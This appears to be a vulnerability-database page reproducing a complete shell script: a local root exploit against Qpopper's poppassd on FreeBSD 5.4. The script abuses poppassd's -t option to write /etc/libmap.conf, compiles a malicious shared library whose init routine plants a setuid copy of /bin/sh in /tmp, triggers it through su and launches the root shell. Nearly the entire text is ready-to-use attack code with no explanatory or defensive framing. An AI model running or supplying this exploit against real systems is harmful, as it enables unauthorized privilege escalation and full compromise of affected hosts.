ZeroBox Vulnerability Database

#!/bin/sh

###########################################################################

# FreeBSD Qpopper poppassd latest version local r00t exploit ###

#by kcope ###

# tested on FreeBSD 5.4-RELEASE ###

###########################################################################

 

POPPASSD_PATH=/usr/local/bin/poppassd

HOOKLIB=libutil.so.4

 

echo “”

echo “FreeBSD Qpopper poppassd latest version local r00t exploit by kcope”

echo “”

sleep 2

umask 0000

if [ -f /etc/libmap.conf ]; then

echo “OOPS /etc/libmap.conf already exists.. exploit failed!”

exit

fi

cat > program.c << _EOF

#include <unistd.h>

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

 

void _init()

{

if (!geteuid()) {

remove(“/etc/libmap.conf”);

execl(“/bin/sh”,”sh”,”-c”,”/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx”,NULL);

}

}

 

_EOF

gcc -o program.o -c program.c -fPIC

gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles

cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0

echo “— Now type ENTER —”

echo “”

$POPPASSD_PATH -t /etc/libmap.conf

echo $HOOKLIB ../../../../../../tmp/libno_ex.so.1.0 > /etc/libmap.conf

su

if [ -f /tmp/xxxx ]; then

echo “IT’S A ROOTSHELL!!!”

/tmp/xxxx

else

echo “Sorry, exploit failed.”

fi